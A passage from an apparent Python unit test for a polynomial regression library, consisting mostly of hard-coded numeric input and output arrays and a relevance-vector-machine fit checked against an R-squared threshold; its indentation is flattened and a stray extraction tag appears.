-0.439777, 0.4555486, 0.5656288, -0.865136, 0.38638264, 0.8564632, 0.44244288, 0.042671848], [0.9434604, 0.06651964, -0.61288432, -0.7946116, 0.8006432, 0.037014256, -0.05100448, -0.651226, 0.1350348, -0.21181444, 0.9997696, -0.32785888, -0.34011328, 0.9849396, -0.4776672, 0.5623662, 0.3683434, 0.88854, 0.6661922, 0.2829992, -0.6044412, 0.055624272, 0.394154, 0.15632064, -0.12939136], [0.9458724, 0.73997056, -0.22167704, -0.006465765, 0.618392, 0.6560624, -0.05710252, -0.17358056, 0.9986952, -0.00575562, 0.9455892, -0.610134, -0.4060732, 0.6418852, -0.8595628, -0.04715248, 0.1141232, 0.013407938, 0.3380076, 0.8532404, 0.6725272, -0.1574932, -0.15877432, 0.9238856, 0.08879784], [0.9467012, 0.032313784, 0.28863696, -0.079956384, -0.35217032, -0.8019644, -0.24142912, 0.26766576, -0.720302, -0.8389148, -0.4560528, 0.06993116, 0.33767004, 0.5403196, 0.7617268, 0.5898816, 0.5396732, 0.2408902, -0.015584772, 0.300847, 0.6954256, -0.185786, 0.076937816, -0.4895524, -0.66603304], [0.9492764, -0.7569528, 0.8958336, 0.4014216, 0.9779216, -0.8066272, 0.8089148, -0.9048328, 0.4568664, 0.8228752, 0.018710436, -0.721736, 0.5150656, -0.6403184, -0.6046396, 0.4833242, -0.8750154, -0.9699098, 0.2601344, -0.3646112, 0.5081264, 0.9475808, 0.21255, 0.5043148, 0.9377544], [0.95178, 0.6367356, 0.65953784, -0.018234008, 0.15920656, -0.49687, 0.7832848, -0.7921864, 0.7444848, -0.6497348, 0.7949776, -0.5820304, -0.07043132, -0.037531136, -0.7521684, -0.11200384, -0.72906, 0.2558732, 0.5809216, 0.6654806, -0.34474068, 0.8941584, 0.21635816, 0.53224432, 0.70098616], [0.954332, 0.8868856, -0.30944424, 0.05253012, -0.8481424, -0.28778588, 0.9194828, 0.38651324, -0.9562556, 0.32869808, -0.33597584, 0.8321288, 0.35796308, -0.7754568, -0.8315648, -0.7720308, -0.7647406, 0.09160166, -0.7934728, -0.62654, -0.8984708, 0.2508652, 0.75399344, 0.10584824, 0.26682056], [0.957118, -0.9523008, 0.37040552, 0.35420112, -0.56282368, 0.8570588, -0.4375492, 0.90221, 0.4542224, -0.8218912, -0.22438664, 0.25120012, 0.792354, 0.4004636, -0.08591556, 0.2329378, -0.6466092, -0.5745008, -0.10729476, 0.3758482, -0.7561688, 0.450132, -0.31243144, 0.62407952, 0.60826536], [0.9602004, 0.53912072, 0.28492064, 0.89498, -0.08985432, -0.32328848, 0.3695962, -0.27973616, 0.04791048, 0.16770324, 0.0570146, 0.11709056, 0.30060808, -0.13041556, 0.024292972, -0.6422554, 0.5902032, 0.8046614, 0.643201, 0.4111862, -0.9513684, -0.2257884, -0.5436948, -0.857328, -0.50671112], [0.962828, 0.78682552, -0.38843224, 0.021002072, -0.05978148, 0.28277268, 0.58598, -0.902882, -0.57989, 0.37763616, -0.4290288, 0.35068292, 0.001809749, -0.8622844, 0.8798148, -0.630277, 0.4940172, 0.3187106, 0.3884638, -0.8275018, -0.39366424, -0.8970824, -0.1687844, -0.77358104, 0.719512], [0.975904, -0.9483616, 0.29874432, -0.33895288, 0.28293336, 0.4070572, -0.769852, 0.8398028, 0.7530168, -0.7233444, 0.7488492, -0.21270208, -0.9973912, -0.35168196, 0.004174724, 0.10326068, 0.3265854, -0.07668508, -0.12905596, 0.6855582, -0.5183584, 0.53848288, 0.46634208, 0.340692, -0.005640709], [0.9778168, -0.4416284, -0.51671016, 0.072795416, 0.60753936, -0.868234, 0.8884024, 0.774736, -0.29683864, 0.8947356, -0.4677168, 0.07056492, 0.8283532, -0.04091988, -0.5629308, 0.3136438, -0.02007128, 0.1160053, -0.496273, -0.3032342, 0.04363108, -0.040159128, -0.018807456, -0.79721872, 0.74888696], [0.9831388, -0.58101472, -0.44627088, -0.08017736, -0.8218808, -0.5036252, 0.582744, 0.10333768, -0.7654648, -0.24468372, -0.11668872, 0.3644174, -0.1155636, 0.5397984, -0.9109944, 0.7281462, 0.1725757, -0.8159796, 0.8959322, 0.29969, 0.7791088, 0.56647672, -0.68995584, -0.4430612, 0.60779848], [0.9875248, -0.65921496, -0.928928, -0.4246756, 0.35909192, 0.4686604, 0.4968372, 0.21628468, 0.243766, -0.7778256, 0.9318668, 0.2067948, -0.5866528, -0.4171884, 0.19262716, -0.6936874, 0.13166804, 0.7829012, 0.518191, 0.8256072, -0.8537328, 0.08032416, -0.39956368, 0.59077376, 0.8398336], [0.9914544, -0.050285912, -0.21688832, -0.09422648, -0.63137176, 0.3729446, 0.7937592, 0.06939664, -0.035323288, -0.7411232, 0.31815668, -0.7076548, 0.5964988, 0.07384496, 0.6882196, -0.6615344, -0.9522156, -0.7463206, 0.5877714, -0.2523558, 0.799514, 0.68709808, 0.40410048, -0.066595408, -0.9858], [0.9945768, 0.15656832, -0.51088592, 0.8184904, 0.6937356, -0.5186884, 0.38727012, -0.06736656, 0.9276728, 0.5226268, 0.6737992, -0.22887896, 0.28189608, 0.6920124, 0.478668, 0.4321, 0.5124978, 0.2526026, -0.1178505, 0.09192118, -0.07412924, 0.21844864, -0.9817928, 0.53824216, 0.69590056], [0.9951988, -0.19689744, -0.59704856, -0.013748008, -0.31334512, 0.174308, -0.6286856, 0.8817644, -0.6673748, -0.25470088, -0.4045392, 0.4527572, -0.9877372, 0.3627538, 0.2126448, 0.0964504, -0.18231966, -0.7403782, -0.6381626, 0.7653484, 0.7143812, -0.56124232, -0.8147816, -0.030903304, -0.88964], [0.9956436, 0.358282, -0.15275728, -0.57280664, -0.087762, 0.939348, 0.5316308, 0.8886284, 0.416306, 0.39524728, 0.7887828, 0.39620296, 0.38067348, -0.7793868, 0.9313936, -0.281948, -0.08257332, 0.3192, 0.18656414, -0.1581843, 0.8179192, 0.485438, 0.005795364, 0.5511956, -0.34955368], [0.9993388, -0.15829144, 0.110528, -0.1104108, 0.65763936, 0.018751128, 0.5150728, -0.8686552, 0.003809682, -0.5171348, -0.8185576, 0.709784, -0.446038, -0.06724404, 0.02085272, -0.3851304, -0.8670188, 0.5087578, 0.5500584, -0.6376162, 0.16387948, 0.51113224, 0.45510152, 0.50295088, -0.30369624]])
(X, Y) = (X, Y)
</DeepExtract>
N = X.shape[0]
p_order = 2
params = []
basis_orders = []
for i in range(25):
params.append(Parameter(p_order, distribution='uniform', lower=-1.0, upper=1.0))
basis_orders.append(p_order)
basis = Basis('total-order', orders=basis_orders)
num_obs = 200
chosen_points = np.random.choice(range(N), size=num_obs, replace=False)
X_red = X[chosen_points, :]
Y_red = Y[chosen_points]
remaining_pts = np.delete(np.arange(N), chosen_points)
chosen_valid_pts = np.random.choice(remaining_pts, size=30, replace=False)
poly = Poly(params, basis, method='relevance-vector-machine', sampling_args={'sample-points': X_red, 'sample-outputs': Y_red})
poly.set_model()
y_eval = poly.get_polyfit(X)
y_valid = Y
(a, b, r, _, _) = st.linregress(y_eval.flatten(), y_valid.flatten())
r2 = np.round(r ** 2, 4)
print(r2)
np.testing.assert_array_less(0.8, r2, err_msg='Problem!')
|
def test_rvm(self):
np.random.seed(0)
Y = np.asarray([[0.214794386299531], [0.0304864358995189], [0.18110882619952], [0.0364174877995254], [-0.388114785300473], [0.0438257486995184], [0.14854421509952], [-0.135653950600471], [-0.0672785594004779], [0.151946461699524], [-0.341502000900476], [0.141843179199526], [0.0806830478995266], [-0.197027939800478], [-0.000576330000470193], [0.0840840311995237], [0.12576428479953], [-0.237702105900482], [0.0781943433995309], [0.131515575999529], [0.0177330054995224], [0.109803669599529], [-0.208028892900472], [0.141115927999522], [-0.00914745520047688], [-0.0461956932004739], [-0.21094903330048], [-0.257511610600474], [0.18319302949952], [0.0545309729995296], [-0.120057568400469], [0.227336520799526], [0.204247055499522], [-0.0616932087004756], [0.16142064799952], [-0.0180615302004696], [-0.0118099877004738], [0.0748339604995323], [0.0745070069995251], [-0.185076108700471], [0.0849124082995303], [-0.0199544130004767], [0.153037546299529], [0.036709892199525], [-0.24222365460048], [0.0274205508995209], [0.134563126199524], [-0.195156222900479], [0.0638141560995251], [-0.128088542300475], [0.10949963219953], [0.0782561047995216], [0.110476785699532], [0.0241224618995233], [-0.449582174200472], [-0.0157697312004785], [-0.0209440301004804], [0.168155087199523], [-0.168625143900471], [-0.0414124356004777], [0.233078659799531], [-0.000759223900473671], [-0.0701863196004808], [0.15246379899952], [0.0726099892995222], [0.0411974184995216], [-0.222654263500473], [0.204070374999532], [-0.274498326100471], [0.0708688562995263], [0.138623533999521], [-0.189396612900481], [0.0540059301995228], [0.0991160263995283], [-0.135643495900482], [0.233049322699529], [-0.154967996400472], [-0.631046417900478], [-0.0779334462004755], [0.153380938199518], [-0.155231895300474], [0.0736116841995198], [-0.00645852450047357], [0.141611343699523], [0.0295416722995299], [-0.321736905300469], [-0.217625299100476], [-0.0189160950004776], [0.0194677688995313], [-0.313642062700481], [0.134496847299531], [0.0573074155995244], [-0.20907258740047], [0.169205586999524], [0.119481082599521], [0.194061367399527], [0.0626582642995288], [-0.458475699300479], [-0.472494397800475], [0.171130899099524], [0.160384905899519], [-0.0143868728004719], [-0.324650780400475], [0.077263157599532], [-0.55022685930048], [-0.0626761048004738], [0.108108206499523], [0.140159608099523], [0.108501425699529], [0.0999191759995313], [0.103752496899531], [0.103608776599529], [0.168472986599525], [-0.00998671270048135], [-0.125462812600475], [-0.00117008070047575], [-0.0812177097004678], [-0.0986191162004815], [0.0213149108995196], [0.0631004149995249], [-0.58300676440048], [0.0945855181995228], [-0.0879035083004709], [-0.793577578100468], [-0.542894171900471], [0.189553869999529], [0.180521780899525], [-0.0042466582004721], [-0.125371998100476], [0.0200500877995182], [-0.228110993700469], [0.0737166533995293], [0.0158440191995197], [0.156549758699526], [0.0696423894995206], [0.132558027199522], [0.0775897087995219], [-0.12414099240047], [0.220779741199522], [0.135866635099532], [-0.174960463000474], [-0.529304618300472], [0.0656745672995243], [0.080516613099519], [-0.00443530900047051], [0.17667718319953], [0.104310766599525], [0.0980333244995251], [0.000191290399527588], [0.107555870499525], [-0.196662744600474], [-0.162197365900468], [0.0834747983995214], [0.0851487841995322], [0.111727981799518], [0.174598671999519], [0.117171712499527], [0.0731327892995211], [0.0696163890995223], [0.179499686299522], [-0.243074504400468], [0.0839834533995258], [0.0157608777995222], [0.0108822281995202], [0.114337857299532], [0.123824851599522], [-0.159377405900472], [0.0776320028995201], [0.065374201999532], [-0.00210355500047399], [0.091258867199528], [0.18084886829952], [0.150250253099529], [0.17584349999953], [-0.320397018500472], [0.0822831741995316], [0.147099239499525], [0.0612997872995322], [-0.359024781000471], [0.0542501979995222], [0.11669157969952], [0.164019259799531], [0.0297407982995281], [0.0192861675995317], [0.139297769699525], [0.088270599699527], [0.0950385867995323], [-0.107752629300478], [0.0473162408995194], [-0.230748620800469], [0.19655249959952], [-0.119922477800472], [0.0212145083995239], [-0.236157846000481], [0.0848690502995311], [0.090405678499522], [0.0603606912995218], [0.0119565401995203], [-0.0113516351004677], [0.0328624994995295], [-0.00430806700047981], [0.163563947999521], [0.139620018499528], [0.113107005399527], [0.120860772199521], [0.0808816400995198], [0.0604271935995229], [0.205514615299521], [0.047969040899531], [-0.321254294600479], [0.063204295999526], [0.120114433099531], [0.0748610498995248], [0.109594417499522], [0.160020060899527], [0.0245053195995268], [0.0127019119995282], [-0.277159179600474], [-0.0118930425004748], [0.0905430362995219], [0.112444446399522], [0.17657302459952], [-0.293329093400473], [-0.0594143153004723], [-0.120330663800473], [0.0153887310995202], [-0.25982189180047], [-0.100099102600481], [0.123078455599526], [0.0875035776995219], [-0.0161959447004705], [0.181561658799524], [0.0683309792995317], [-0.175586930500472], [0.0293433842995228], [0.0818931746995304], [0.258866349699531], [0.0324536610995239], [0.0792430783995286], [-0.0299509270004705], [0.064785072999527], [-0.0914756371004728], [-0.220374963100468], [-0.351253467000475], [0.133310589399528], [0.0945419518995294], [0.162259478499522], [-0.0485002696004813], [0.0202396279995298], [0.151078609299532], [-0.0650836562004713], [0.0975682618995251], [0.184756516799524], [0.0955608516995312], [-0.345798543900472], [0.130781813299521], [0.0711370970995233], [0.0286061356995191], [-0.134320615900478], [0.0666438685995274], [-0.148287702200477], [0.0623764749995246], [0.00917974739952854], [0.153732945399526], [-0.07677843060047], [0.156712380699531], [0.0842286593995283], [0.0801534656995244], [-0.175097697100469], [0.030096361099524], [0.0667589602995236], [0.063893794799526], [0.128762529599527], [0.122514236899519], [-0.45980150260047], [-0.0848779269004751], [0.132455226399529], [-0.115939519200481], [0.0292607909995297], [0.0382036034995252], [0.0921355731995277], [0.157910732199525], [0.0961198541995287], [-0.407369653000472], [-0.0103334867004747], [0.12743881329952], [0.00818742489953195], [-0.187620622700479], [-0.343500936000481], [-0.319586542700478], [-0.0480417755004794], [0.171385428799525], [-0.0228790512004764], [0.146299715599525], [0.000214571699530097], [-0.16973889910048], [0.0906952828995316], [-0.314823059400482], [0.0690663116995296], [0.138684729099523], [0.0289694859995251], [0.0985871361995265], [-0.0144951174004717], [0.0840272010995307], [0.0608369824995236], [-0.238280947000476], [0.13313307179952], [0.0257260253995213], [0.0471222716995214], [0.0483109278995215], [-0.0478133367004716], [0.105381771699527], [0.00838750639952934], [0.0177622516995228], [-0.00616568070047663], [0.055743087499522], [0.0898689151995313], [0.0898277670995213], [0.00456935089952992], [-0.187953259700478], [-0.0780650933004807], [0.0710368142995321], [-0.326853319500472], [-0.0650983021004805], [0.161513439599531], [-0.460204786500469], [0.233121549199524], [0.070889159199524], [0.0491630639995293], [0.14108520359953], [0.0507988267995216], [-0.257742885300473], [-0.159807573400471], [0.162493103899521], [-0.0599515949004683], [0.140789858899524], [0.0818634856995288], [0.178364036099524], [0.18079608429953], [0.109725847399531], [0.129581550999532], [0.127677284399525], [-0.349510104900475], [-0.122046208700468], [-0.0358421192004812], [0.0345309835995238], [0.142012091899531], [0.120857408899525], [-0.167817914200469], [0.0133321852995323], [0.0176090675995226], [-0.129430604100477], [0.029277308199525], [0.169368050399527], [0.0305181414995275], [-0.0638441750004688], [-0.113179601500477], [0.166798293899532], [0.0162736180995182], [0.0527946769995253], [0.0947584716995209], [0.0311304306995197], [0.0839449812995241], [-0.128216936200474], [0.0318150658995222], [0.0139013393995242], [-0.0126105156004712], [0.154178962999524], [0.0549426464995264], [0.157239916299531], [0.114192288399522], [-0.0797570352004726], [0.0192872869995284], [-0.00926635240047347], [0.123313871699523], [0.199464715799522], [0.109633813999523], [0.0798440121995299], [0.163664476699523], [-0.0323856638004685], [0.228455003899526], [0.201880290699521], [0.0487547710995244], [-0.360505695900471], [-0.0698146163004765], [0.117355223999525], [-0.111042011800478], [0.0682092957995195], [0.0150243247995263], [0.208994546099532], [0.113677161499524], [0.196637127499528], [0.158814903099525], [-0.661821914900472], [0.150469333399528], [0.138941686699525], [0.0665537991995251], [0.0893819390995247], [0.0884417451995319], [0.0137149108995231], [0.213352602999521], [-0.101525370400481], [0.0530821395995247], [-0.176521198600469], [-0.277691602300479], [0.19239834249953], [-0.0440776337004678], [0.18013411429952], [0.127150805699529], [-0.408117371100474], [0.163452714599529], [0.129875337399525], [-0.154658492700477], [0.137662739999527], [0.0801360601995214], [-0.0405032024004726], [-0.641784071900474], [-0.0619887244004786], [-0.42936646340047], [0.0321311068995271], [0.0350706434995232], [0.0145265152995222], [0.0197122699995305], [-0.168454993700479], [0.138859359399518], [-0.475443459300479], [0.110587096099522], [-0.344534334300477], [0.165150308599522], [0.0329606993995242], [-0.469759912200473], [0.114620658399531], [0.0290598181995279], [-0.171348968100475], [0.188396895999531], [-0.0896583549004788], [0.000743012399524901], [-0.00328755900046929], [0.108288636399521], [0.20956175599953], [0.0301214671995211], [-0.45099375350047], [-0.0258869862004758], [-0.0199979226004814], [0.119549109799522], [0.0247774857995182], [-0.0905169224004681], [0.0460369061995323], [0.212384665199522], [-0.328844503800468], [0.0898977736995192], [0.0271398930995304], [0.229546684299521], [-0.11968187520047], [0.0588759322995287], [-0.226316561100475], [-0.0777017435004694], [-0.016395701600473], [0.112230149099531], [0.0484490733995244], [-0.278726787400473], [0.0570800295995184], [0.0319428944995224], [0.0647721007995301], [-0.019691193400476], [0.0860737926995228], [0.0250292890995212], [-0.0398410190004768], [0.000616646799528553], [0.190895887699526], [0.141418897999529], [0.141689574599525], [-0.163957612200477], [0.218269934199526], [0.0779105449995257], [0.112958750299526], [-0.217436090200479], [-0.0221392657004742], [-0.11940576370047], [-0.07509151420048], [-0.268576392400476], [0.177774447099523], [0.148076016999525], [0.173641486699523], [-0.245689732200475], [-0.347956204000468], [0.0891225799995254], [0.0527641896995306], [0.155183887999527], [-0.335188775600471], [0.0506065342995186], [0.21442551559953], [0.0480266013995276], [0.198452532999525], [-0.101006102500477], [-0.00527502340047192], [0.0126590006995286], [-0.136667151000481], [0.0251241673995253], [0.168276310599524], [-0.469844888900468], [-0.062116831600477], [0.0821124914995295], [0.143613941499524], [0.0328147569995281], [0.0211372392995202], [-0.0479252427004724], [-0.243150005300478], [0.152589977999526], [0.0100695815995238], [0.145968968199526], [-0.0293733570004804], [0.180251259399526], [0.123284955899521], [0.0748001880995304], [0.25831755409952], [-0.277403643500477], [0.0503778183995252], [0.163231288699521], [-0.10668002090047], [0.116783201399528], [0.0778877776995302], [-0.463969193700478], [-0.376284701600468], [0.0809322244995201], [-0.404836217200469], [0.15020625489953], [0.182002918699524], [0.107993837699524], [-0.108125807000476], [0.148171155599528], [-0.0332993399004806], [0.190952886499531], [0.0258692020995284], [0.103455538899524], [0.0357476143995257], [0.0103473016995252], [0.00511007619952864], [0.157947827599529], [0.0430639671995294], [-0.170492062200481], [0.114268020399521], [0.113847543899524], [0.0775385946995186], [-0.492880865700471], [0.123420013299523], [-0.358916839900473], [0.173556227899525]])
X = np.asarray([[-0.996512, 0.23415088, -0.14674416, -0.895788, -0.09476392, -0.28386376, 0.25137264, -0.9609556, -0.4560592, -0.1981624, -0.07014196, -0.07142384, 0.8078256, -0.8507328, 0.7462676, -0.13834682, -0.289386, 0.0671634, 0.02889124, 0.4424618, 0.37987332, -0.35240744, -0.9130328, 0.8085, -0.2665888], [-0.9856896, -0.21795832, 0.20988064, 0.73222936, -0.8060976, 0.4400208, 0.34943584, -0.8513628, -0.001159749, 0.5693064, 0.7103376, 0.4054248, -0.8526212, 0.12977268, 0.30150504, -0.223785, -0.7864298, 0.917624, 0.948186, 0.390635, -0.6093724, 0.8588504, -0.90812, -0.5793908, 0.70259168], [-0.9855984, 0.62600336, -0.54664944, 0.6003696, 0.990116, 0.6344212, -0.4753192, -0.5356344, 0.09399352, -0.684366, -0.6098016, -0.7199676, 0.404286, -0.4775376, 0.19799236, -0.7488376, -0.8013194, -0.2450134, 0.6726062, -0.5649798, -0.35617172, -0.7538856, 0.37695744, 0.36690616, 0.53696208], [-0.9814072, 0.14507952, 0.28050552, -0.029315704, -0.65606984, 0.8590864, -0.813006, -0.607958, -0.5501308, -0.1782532, -0.30588856, -0.8998244, 0.33920588, -0.9313064, -0.6357976, -0.528679, -0.402181, 0.9692762, -0.2242034, 0.8688206, 0.6652152, -0.8151256, -0.53410408, 0.19213904, 0.14906304], [-0.9724324, 0.70213456, 0.56241488, -0.56090712, -0.893496, 0.9056932, -0.13313976, 0.9194272, 0.7803088, 0.38787932, -0.04775252, 0.5737292, 0.798088, 0.877684, -0.6682644, 0.6502342, -0.08462352, -0.2454344, 0.03860824, 0.6449504, 0.17894384, -0.35194864, 0.54221384, 0.77178008, -0.6609508], [-0.9693876, 0.010329848, 0.4125092, -0.57442824, -0.8435008, -0.31974932, -0.9238444, 0.466746, 0.7964096, -0.5864708, 0.7883776, -0.9082008, 0.4273996, -0.9362596, 0.490654, 0.9744292, 0.981304, 0.6935004, -0.03956012, 0.992213, 0.780768, -0.22275976, 0.18815192, 0.54665648, -0.49263056], [-0.9693004, -0.32126864, 0.24864104, -0.6012936, -0.22005136, 0.4383412, 0.500204, -0.5947536, 0.21823688, -0.9912284, 0.4282628, -0.7755148, -0.08233884, 0.03339988, -0.012785244, -0.13142306, -0.6054472, -0.5450824, -0.6056678, 0.22568, -0.601578, 0.24832864, -0.73634416, -0.8934992, 0.17701456], [-0.9662968, -0.7841776, 0.875692, -0.78609488, -0.47889312, 0.5048696, -0.04752156, -0.33773364, 0.8545948, 0.37397896, -0.3518806, -0.4683452, 0.5304932, -0.08187024, 0.1451292, -0.16019302, -0.0465887, -0.851419, -0.573074, 0.6770834, -0.416418, 0.4297292, 0.45807464, 0.71752408, 0.8346112], [-0.9627072, 0.37914112, -0.32500656, 0.31868504, 0.35824336, -0.5027592, -0.9684952, 0.5993732, 0.33926984, -0.1984186, 0.24320112, -0.7385096, 0.8844964, -0.38992004, 0.7657308, 0.3085076, -0.807951, 0.3364566, -0.16524062, -0.7284952, 0.689264, -0.64990856, 0.31770144, 0.8821128, -0.69237176], [-0.959288, 0.9805368, 0.8938064, -0.50103112, 0.5545408, 0.7436556, -0.7554808, -0.9421952, 0.32072484, -0.18633052, -0.8834988, 0.5184172, 0.29727708, -0.5181392, 0.23239216, 0.16195482, -0.9718192, 0.5812698, -0.11094616, 0.7166808, -0.6337444, 0.9591592, -0.23021984, -0.10877296, -0.33924056], [-0.959012, -0.34011616, -0.52650352, 0.2134364, -0.56393176, 0.5024224, -0.03612478, 0.4565192, 0.27131596, 0.95199, 0.6891252, -0.4595112, 0.1519522, -0.30010948, 0.8004288, 0.1039358, -0.46724, -0.7270498, 0.4948728, 0.9236574, 0.9328648, -0.48006632, 0.7017384, 0.12834544, 0.72855288], [-0.9535576, -0.3201864, 0.44319424, -0.69630072, 0.17660368, 0.5895712, 0.4348756, -0.981452, 0.7741868, -0.783084, 0.21470548, -0.29760992, -0.568004, 0.551064, -0.5693192, -0.4248052, -0.4939174, -0.58251, -0.4861614, -0.7843754, 0.031181216, -0.9306152, 0.58157376, 0.58495384, 0.75431584], [-0.9531312, 0.22482976, -0.59523624, -0.27857968, -0.41356984, 0.5918832, 0.515652, 0.823666, -0.18363216, -0.39645376, -0.7405596, -0.961192, 0.4009604, 0.1956954, -0.555444, -0.2597836, 0.2973368, -0.8591738, 0.09001564, 0.15858912, -0.34748092, 0.5686796, 0.14130696, 0.8928032, 0.65167264], [-0.9418464, -0.980964, 0.62025904, -0.25291768, 0.13050208, 0.32672992, 0.4974544, -0.7846288, 0.5158364, 0.9131612, -0.4608488, -0.20073564, 0.5588864, -0.831102, 0.06427308, -0.4877024, 0.580089, 0.2937172, -0.256883, -0.4429882, -0.10875216, 0.78090456, -0.79746672, -0.90822, -0.22477144], [-0.9395052, -0.64637864, 0.023998736, 0.47291784, 0.09134168, -0.0719098, 0.24616036, 0.7916112, -0.16203292, -0.4294036, -0.6770468, -0.963942, 0.9952812, -0.01107918, 0.662196, 0.2769704, -0.2736684, 0.3628424, -0.3944162, -0.3716688, -0.31675528, -0.8955152, 0.8688128, -0.030312912, 0.05291392], [-0.9360108, -0.23165456, 0.63948984, 0.19036328, 0.45828472, 0.07800876, 0.6874332, 0.08810152, -0.5132528, 0.32035228, -0.5342392, 0.7212668, -0.6316092, -0.6633096, 0.4486356, 0.4673776, -0.6986322, 0.6164082, -0.551999, 0.8097938, -0.7599416, 0.79594672, -0.8358272, 0.49524408, -0.54783616], [-0.9336548, -0.27175728, 0.35847648, 0.9259752, 0.473218, -0.7717316, 0.689996, -0.805308, 0.6304356, -0.80834, 0.23527844, -0.9116188, -0.30941476, -0.4689428, 0.014552812, -0.0319078, 0.6445212, 0.265953, -0.2720864, -0.6549414, -0.9834436, 0.76094856, -0.44675056, 0.29770352, 0.38320944], [-0.9302324, -0.35324544, 0.43949576, -0.13155928, -0.03465412, 0.7558276, -0.19290372, 0.37366728, 0.4709632, 0.8973476, 0.8420712, -0.5662588, -0.4383176, -0.947856, 0.8450744, -0.6530642, 0.2759648, 0.282217, 0.5365504, -0.2083742, 0.5317068, -0.3364812, 0.39677312, 0.919024, 0.49028408], [-0.917218, 0.50269296, -0.44066096, 0.74427096, -0.64214904, 0.71475, -0.7205348, 0.4954304, -0.9121752, 0.760212, -0.96661, 0.6809868, -0.4864452, -0.8009028, -0.6396236, -0.003776524, 0.4304688, -0.7504552, 0.5847504, 0.6168372, 0.9986056, -0.54277424, 0.72328544, -0.056306488, 0.9521024], [-0.9159224, 0.75213184, 0.6460856, -0.005144225, 0.02570024, -0.7529952, 0.38809876, -0.08240028, -0.39875252, 0.4250908, 0.36533712, 0.682244, -0.7486228, 0.18984724, -0.15409776, -0.9618482, 0.4368316, 0.2054904, -0.9953414, 0.789733, 0.7396372, -0.60676024, 0.8795184, 0.38576064, 0.826064], [-0.9148264, 0.9300416, -0.7527628, 0.32260144, -0.8387272, 0.14906964, 0.5972864, 0.25566972, 0.326691, -0.06312632, 0.6844692, 0.785044, -0.620034, -0.30862724, -0.11768248, -0.2435208, 0.6320694, 0.295476, -0.30957, 0.8791256, 0.6789596, -0.8300624, -0.57154192, 0.65708664, -0.016086152], [-0.9053316, -0.8563736, -0.06141856, 0.40743536, 0.58845288, 0.16049932, 0.39294668, -0.36480468, -0.9352596, 0.4544572, -0.3524702, 0.471338, 0.9324904, -0.9710044, -0.5327228, 0.7876974, -0.420972, -0.9888578, -0.07083126, -0.1564783, -0.030657376, -0.27343112, 0.078727744, -0.76768712, -0.72025512], [-0.9037496, -0.16680728, -0.53319968, -0.778814, 0.41653776, -0.1394382, -0.5605244, 0.8401844, 0.37558904, 0.4575608, -0.22443384, -0.9563032, -0.37514716, -0.14655476, 0.37794088, -0.6758684, 0.3794128, 0.9655962, -0.783607, 0.310036, 0.53341, 0.9466584, 0.31778104, -0.7465028, 0.72573216], [-0.9018348, -0.43316176, 0.584134, 0.74180144, 0.66460888, 0.3084276, -0.2204198, -0.13204044, -0.7864988, -0.4377908, -0.28115184, -0.8722732, -0.5104676, -0.6335056, 0.21474212, 0.113473, -0.1291366, -0.7999216, 0.2106506, 0.2042884, 0.05542456, -0.11309648, 0.63314704, -0.31797176, -0.062468296], [-0.9015452, 0.37070896, 0.3666888, -0.61500408, -0.48343368, -0.17740476, 0.9104408, 0.7399056, -0.6431552, -0.2244256, 0.9142972, 0.8771584, 0.20912988, 0.7584196, 0.37086116, -0.8910448, 0.2708108, -0.4435768, -0.013913738, -0.5217744, 0.21408312, -0.9737992, 0.11871536, 0.37106176, -0.5799044], [-0.9001224, -0.968448, 0.14402496, 0.0428602, 0.013695496, 0.8697428, 0.19709028, 0.14302632, 0.16337696, -0.6164664, 0.5305772, 0.23702064, -0.06921296, 0.5168608, 0.624776, 0.022506, 0.7703644, 0.8875468, -0.6972326, 0.2479094, -0.93311, 0.53513464, -0.8955256, -0.9607032, -0.01660316], [-0.8992952, -0.55980936, -0.55571616, -0.947648, -0.58631232, 0.05063916, -0.525412, 0.30697972, 0.8548572, 0.10293112, 0.4667252, -0.38282372, 0.9347596, -0.7113776, 0.3402356, 0.8575134, 0.1165825, 0.7699842, -0.3638912, -0.9090472, -0.945696, 0.79700768, -0.73940896, -0.57071808, -0.035440792], [-0.8974572, -0.9730152, -0.53535176, 0.64472152, 0.6042596, 0.5364084, 0.29612324, -0.2432144, 0.12128712, 0.19819564, 0.23382072, -0.17518772, -0.5668252, 0.90975, 0.9465936, 0.8472734, 0.7153756, 0.307751, -0.4736928, 0.5664274, 0.5812924, 0.16308816, 0.938092, -0.069742368, -0.51356224], [-0.895132, -0.24543312, 0.73587088, 0.17994176, 0.24961536, 0.6767104, -0.4549564, -0.9882756, -0.799642, 0.890702, 0.27368084, -0.8279024, -0.14241176, -0.5300072, 0.6716064, -0.9154214, -0.3403054, 0.8420198, -0.00464537, 0.14058298, 0.5508532, 0.131004, 0.16030456, 0.7342132, -0.50788872], [-0.891258, 0.41236192, 0.8112736, -0.20984056, -0.20264576, 0.07159916, -0.17152756, 0.04794356, -0.031985696, 0.8964204, -0.4000892, -0.2042698, -0.5274516, -0.805218, 0.19189104, 0.749394, -0.2587906, -0.690552, 0.6148842, 0.001650262, -0.3786496, 0.68859944, 0.96552, 0.67846112, 0.9071296], [-0.8866168, -0.75197, 0.6403952, 0.08322424, -0.67890512, 0.7674308, -0.5962048, -0.4541552, 0.919942, 0.4135012, -0.3801518, 0.9518424, -0.964484, -0.668054, 0.7229196, 0.04217888, 0.2465546, -0.9855674, 0.870469, 0.8494152, -0.4861288, 0.65535064, 0.66190656, 0.51353184, 0.19998512], [-0.8790748, 0.2566844, -0.41981504, -0.19070552, 0.72370192, -0.9812316, -0.846546, -0.32667568, -0.5563456, -0.5032124, -0.5522076, 0.031710108, 0.1550996, 0.8571848, 0.05392448, -0.13679288, 0.8453976, -0.6125172, 0.467529, -0.78472, 0.9450644, 0.35151024, -0.27940032, -0.43488176, -0.09514032], [-0.8787052, -0.27361608, -0.63809176, 0.04537528, -0.86748, -0.39195832, -0.9055468, -0.419316, -0.4663868, -0.11336276, -0.57559, 0.4113248, -0.16200892, 0.18145312, 0.6692272, -0.5866028, -0.2068638, 0.918972, -0.611498, 0.9725002, -0.31820956, -0.25421088, 0.55011464, -0.4421088, 0.32619584], [-0.8784596, 0.108482, 0.054269864, -0.371832, -0.36363472, 0.05735536, -0.778988, 0.12655336, 0.8603288, -0.4974216, -0.8160508, 0.25572348, -0.39754496, -0.3254366, 0.7084912, -0.12538396, 0.19145786, 0.7354752, -0.1207768, -0.6445758, -0.2552198, -0.67922632, -0.77539576, -0.71426936, 0.42339992], [-0.8737088, -0.17170712, 0.4601224, 0.8566176, -0.8091528, 0.4524824, -0.8622212, -0.8055, -0.7424936, 0.9390352, 0.35213612, 0.34435456, 0.4371096, 0.4719596, -0.31283984, 0.6332634, -0.19664892, -0.3063964, 0.2995158, 